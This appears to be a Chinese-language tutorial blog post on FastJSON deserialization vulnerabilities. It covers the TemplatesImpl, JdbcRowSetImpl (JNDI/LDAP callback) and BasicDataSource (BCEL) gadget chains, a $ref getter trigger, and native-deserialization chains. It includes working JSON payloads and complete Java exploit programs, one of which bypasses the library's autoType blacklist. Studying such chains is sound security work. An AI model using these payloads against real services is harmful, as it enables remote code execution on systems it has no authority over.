文章目录
FastJson
FastJSON
是一个高效的 JSON
处理库,主要用于 Java
语言。它由阿里巴巴集团开发和维护,旨在提供快速和高性能的Java Bean
对象到 JSON
对象的序列化和反序列化功能。
序列化与反序列化
方法:
JSON.toJSONString
:将对象序列化为JSON
字符串。当需要进行复杂对象的反序列化,尤其是涉及多态对象(如继承关系中的子类和父类)时,JSON.toJSONString
的参数SerializerFeature.WriteClassName
可以在JSON
输出中包含类的全限定名(fully qualified class name
),例如"@type": "com.example.Dog"
。序列化对象时,会触发对象的setter
方法。JSON.parseObject
:将JSON
字符串反序列化为对象。在默认情况下,FastJSON
只处理公共字段(public fields
)和通过公共getter/setter
方法暴露的字段。当启用Feature.SupportNonPublicField
时,FastJSON
还会处理非公共字段(包括private
和protected
字段)。反序列化对象时,会触发目标类的getter
和setter
方法。JSON.parse
:将JSON
字符串反序列化为一个Java
对象,根据JSON
字符串的内容,解析后的对象可能是JSONObject
、JSONArray
、String
、Number
等具体类型。反序列化对象时,会触发目标类的setter
方法以及某些满足特定条件的getter
方法。- 函数名长度大于等于4
- 非静态方法
- 以
get
开头且第4个字母为大写 - 无参数
- 返回值类型继承自
Collection
或Map
或AtomicBoolean
或AtomicInteger
例:
import com.alibaba.fastjson.JSON;
public class FastJsonExample {
public static void main(String[] args) {
// 创建一个示例对象
User user = new User();
user.setId(1);
user.setName("John Doe");
// 将对象序列化为 JSON 字符串
String jsonString = JSON.toJSONString(user);
System.out.println("JSON String: " + jsonString);
// 将 JSON 字符串反序列化为对象
User deserializedUser = JSON.parseObject(jsonString, User.class);
System.out.println("Deserialized User: " + deserializedUser.getName());
}
}
class User {
private int id;
private String name;
// getters and setters
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
其他结论:
JSON.parse(jsonString)
和JSON.parseObject(jsonString, Target.class)
,前者会在jsonString
中解析字符串获取@type
指定的类,后者则会直接使用参数中的class
。JSON.parseObject(jsonString)
将会返回JSONObject
对象,且类中的所有getter
与setter
都被调用。- 如果目标类中私有变量没有
setter
方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField
参数。 fastjson
在反序列化时,如果Field
类型为byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64
解码,对应的,在序列化时也会进行base64
编码。fastjson
在为类属性寻找get/set
方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_|-
字符串,假如字段名叫_a_g_e_
,getter
方法为getAge()
,fastjson
也可以找得到。com.alibaba.fastjson.parser.ParserConfig
:FastJSON
库中用于配置和管理JSON
解析过程的类,包含AutoType
开关与黑名单。
FastJson-TemplatesImpl
FastJSON
在使用parse()
或parseObject()
方法时会调用对象的setter/getter
方法,因此若能找到一个类、在反序列化这个类对象时,fastjson
调用其setter
或getter
方法,且setter
或getter
方法存在漏洞,可以执行恶意代码。
提到getter
方法利用就可以想到TemplatesImpl#getOutputProperties()(public)
,它在cc3
链构造以及JMX#StandardMBean
攻击中都利用到了,它的利用链为:
TemplatesImpl#getOutputProperties()(public) -> TemplatesImpl#newTransformer()(public) ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()(default)
关于具体TemplatesImpl
如何加载字节码见《java
漫漫学习之路(五)》。
由于更改的一些TemplatesImpl
私有变量没有 setter 方法,需要JSON.parse()
使用 Feature.SupportNonPublicField
参数(缺点)。
payload
:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["evilCode after Base64"],
"_name": "taco",
"_tfactory": {},
"_outputProperties": {},
}
恶意类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public Evil() {
}
}
恶意类字节码进行Base64
编码:
import javassist.ClassPool;
import java.util.Base64;
public class getPayLoad {
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
System.out.println(Base64.getEncoder().encodeToString(code));
}
}
FastJson-JdbcRowSetImpl
JdbcRowSetImpl
链是基于JNDI+RMI
或JDNI+LADP
进行攻击(需要服务器出网(缺点)),会有一定的JDK
版本限制:
-
RMI
利用的JDK
版本≤ JDK 6u132、7u122、8u113
-
LADP
利用JDK
版本≤ 6u211 、7u201、8u191
com.sun.rowset.JdbcRowSetImpl#setAutoCommit
(setter
函数):
当conn == null
时,调用connect()
函数,connect()
中调用了InitialContext#lookup
函数,这里结合JNDI+RMI
或JDNI+LADP
进行攻击。
payload
:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8099/evil",
"autoCommit":true
}
FastJSON-BasicDataSource
FastJson-TemplatesImpl
利用链需要在调用parseObject()
时额外设置 Feature.SupportNonPublicField
,FastJson-JdbcRowSetImpl
需要出网,都有一定的限制。
而FastJSON-BasicDataSource
利用链则比较通用,不需要出网与额外设置参数,它利用了org.apache.tomcat.dbcp.dbcp.BasicDataSource
类,它是 Apache Tomcat DBCP
(Database Connection Pooling
)的一个实现类。这个Payload
不需要反连,不要求特定的代码写法,直接传入恶意代码bytecode
完成利用,而且依赖包tomcat-dbcp
使用也比较广泛,是Tomcat
的数据库驱动组件。
poc
:
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
这里反序列化生成了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
对象,并完成了命令执行。
利用链:
BasicDataSource.getConnection() > createDataSource() > createConnectionFactory()
。
protected ConnectionFactory createConnectionFactory() throws SQLException {
...
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
...
在 BasicDataSource.createConnectionFactory()
中会调用 Class.forName()
,还可以自定义ClassLoader
。Class.forName()
在动态加载类时,默认会进行初始化,所以这里在动态加载的过程中会执行 static
代码段(恶意代码)。
poc
中将diverClassLoader
设置为com.sun.org.apache.bcel.internal.util.ClassLoader
,在BCEL
介绍中提过,com.sun.org.apache.bcel.internal.util.ClassLoader
重写了Java
内置的ClassLoader#loadClass()
方法,会判断类名是否是$$BCEL$$
开头,如果是的话,将会对这个字符串按照BCEL
编码格式进行decode
作为Class
的字节码,并调用 defineClass()
获取 Class
对象。也就是说恶意类字节码直接放在driverClassName
出即可。
poc
结构:
- 先是将
{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}
这一整段放到JSON Value
的位置上,之后在外面又套了一层{}
。 - 之后又将
Payload
整个放到了JSON
字符串中Key
的位置上。
因为FastJson
中的JSON.parse()
会识别并调用目标类的 setter
方法以及某些满足特定条件的 getter
方法,然而 getConnection()
并不符合特定条件,所以正常来说在 FastJson
反序列化的过程中并不会被调用。
因此巧妙的利用了 JSONObject
对象的 toString()
方法。JSONObject
是Map
的子类,在执行toString()
时会将当前类转为字符串形式,会提取类中所有的属性与字段,自然会执行相应的 getter
、is
等方法。
首先,在 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}
这一整段外面再套一层{}
,反序列化生成一个JSONObject
对象。
然后,将这个JSONObject
放在 JSON Key
的位置上,在 JSON
反序列化的时候,FastJson
会对JSON Key
自动调用 toString()
方法,于是就触发了 BasicDataSource#getConnection()
。
如果调用的是 JSON.parseObject()
,parseObject()
会额外的将Java
对象转为JSONObject
对象,即调用 JSON.toJSON()
,在处理过程中会调用所有的 setter
和 getter
方法。所以对于 JSON.parseObject()
,直接传入这样的Payload
也能触发:
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}
当fastjson>=1.2.36
的时候,可以使用$ref
方式调用getter
,ref
是fastjson
特有的JSONPath
语法,用来引用之前出现的对象:
public class test {
private String cmd;
public void setCmd(String cmd) {
System.out.println("seter call");
this.cmd = cmd;
}
public String getCmd() throws IOException {
System.out.println("geter call");
Runtime.getRuntime().exec(cmd);
return cmd;
}
}
public class ref_fastjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
JSON.parse(payload);
}
}
FastJson 的原生反序列化(一)
在FastJSON
中继承了Serializable
接口的只有两个类JSONArray
与JSONObject
。
下面分析JSONArray
的利用方式(JSONObject
利用方式相同):
JSONArray
实现了Serializable
接口但是它本身没有实现readObject
方法的重载,并且继承的JSON
类同样没readObject
方法。那么只能通过其他类的readObject
做中转来触发JSONArray
或者JSON
类当中的某个方法最终实现串链。
在FastJSON-BasicDataSource
链构造过程中,我们提到JSON.parse()
只能触发满足特定条件的getter
方法,所以构造poc
时,通过{}
嵌套,反序列化就会生成JSONObject
对象,放置在key
位置,进而调用到JSONObject
(JSON
类)的toString
方法。而在Json
类当中的toString
方法能触发toJsonString
的调用,会提取类中所有的属性与字段,进而触发getter
方法。
也就是触发链为:toString->toJSONString->getter
使用BadAttributeValueExpException#readObject()
触发toString
(CC5
)
对于getter
方法就使用老生常谈的TemplatesImpl#getOutputProperties()
完整利用链:BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> TemplatesImpl#getOutputProperties()
exp
:
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "mgg");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
FastJson 的原生反序列化(二)
FastJSON
从1.2.49开始,JSONArray
以及JSONObject
方法开始真正有了自己的readObject
方法,当调用JSONArray/JSONObject
的Object
方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream
处理,而在其SecureObjectInputStream
类当中重写了resolveClass
,加入了autoType
的黑名单机制,调用了checkAutoType
方法做类的检查。
但是实际上这种不安全的ObjectInputStream
委托给有黑名单过滤的SecureObjectInputStream
的反序列化过程是不安全的,安全的反序列化过程应该实现一个继承了ObjectInputStream
了并重写了resolveClass
的类来进行反序列化。
ObjectInputStream#resolveClass
方法是 ObjectInputStream
类中的一个重要方法,它在对象反序列化过程中用于加载并验证反序列化过程中所读取的类描述符(class descriptor
),并返回对应的 Class
对象。
由于在SecureObjectInputStream#resolveClass
中有黑名单过滤,因此就要绕过resolveClass
的触发。
当向List
、set
、map
这些涉及哈希表的类型中写入对象时,会在handles
这个哈希表中建立从对象到引用的映射。当再次写入同一对象时,在handles
这个hash
表中将会查到这个映射,就会通过writeHandle
将重复对象以引用类型(reference
)写入。在ObjectInputStream
中reference
类型是由readHandle
处理的。
在Java
中,readObject
方法和 readHandle
方法都是 ObjectInputStream
类中用于反序列化对象的方法
-
readObject
方法:-
当使用 r
eadObject
方法时,ObjectInputStream
会读取序列化数据流,并将其转换为相应的对象。 -
readObject
方法会触发对象的反序列化过程,包括读取对象的数据并创建对象实例。 -
在反序列化过程中,
readObject
方法会处理对象的各种字段和属性,确保正确地恢复对象的状态。
-
-
readHandle
方法:readHandle
方法是ObjectInputStream
类中用于处理对象替代句柄(object replacement handle
)的方法。- 当序列化数据中存在对象替代句柄时,可以使用
readHandle
方法来恢复对应的实际对象。 readHandle
方法主要用于处理对象之间的引用关系,避免重复序列化相同的对象数据。- 与
readObject
方法不同,readHandle
方法不会触发对象的完整反序列化过程,而是主要用于处理对象之间的引用关系。
- 当序列化数据中存在对象替代句柄时,可以使用
readHandle
方法不会触发对象的完整反序列化过程,不会触发resolveClass
方法。
结合低版本FastJSON
原生反序列化,最后构造思路:
- 1、先将恶意对象(
TemplatesImpl
)写入JSONArray
中,设置BadAttributeValueExpException
的val
为这个JSONArray
; - 2、再将恶意对象(
TemplatesImpl
)写入HashMap
中,将会在handles
这个哈希表中建立一个映射; - 3、同时
HashMap
中写入BadAttributeValueExpException
对象,此时val
的JSONArray
中的TemplatesImpl
是第二次被写入,将会以reference
类型被写入。
触发思路:
- 1、反序列化时
HashMap
对象先通过readObject
恢复TemplatesImpl
对象,然后恢复BadAttributeValueExpException
对象; - 2、在恢复过程中,由于
BadAttributeValueExpException
要恢复val
对应的JSONArray/JSONObject
对象,会触发JSONArray/JSONObject
的readObject
方法; - 3、
JSONArray/JSONObject
的readObject
中,会委托给SecureObjectInputStream
,在恢复JSONArray/JSONObject
中的TemplatesImpl
对象时,这个对象是以reference
类型存在的,此时会使用readHandle
处理,而readHandle
方法不会触发对象的完整反序列化过程,不会触发resolveClass
方法。
exp
:
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Y4HackJSON {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
参考: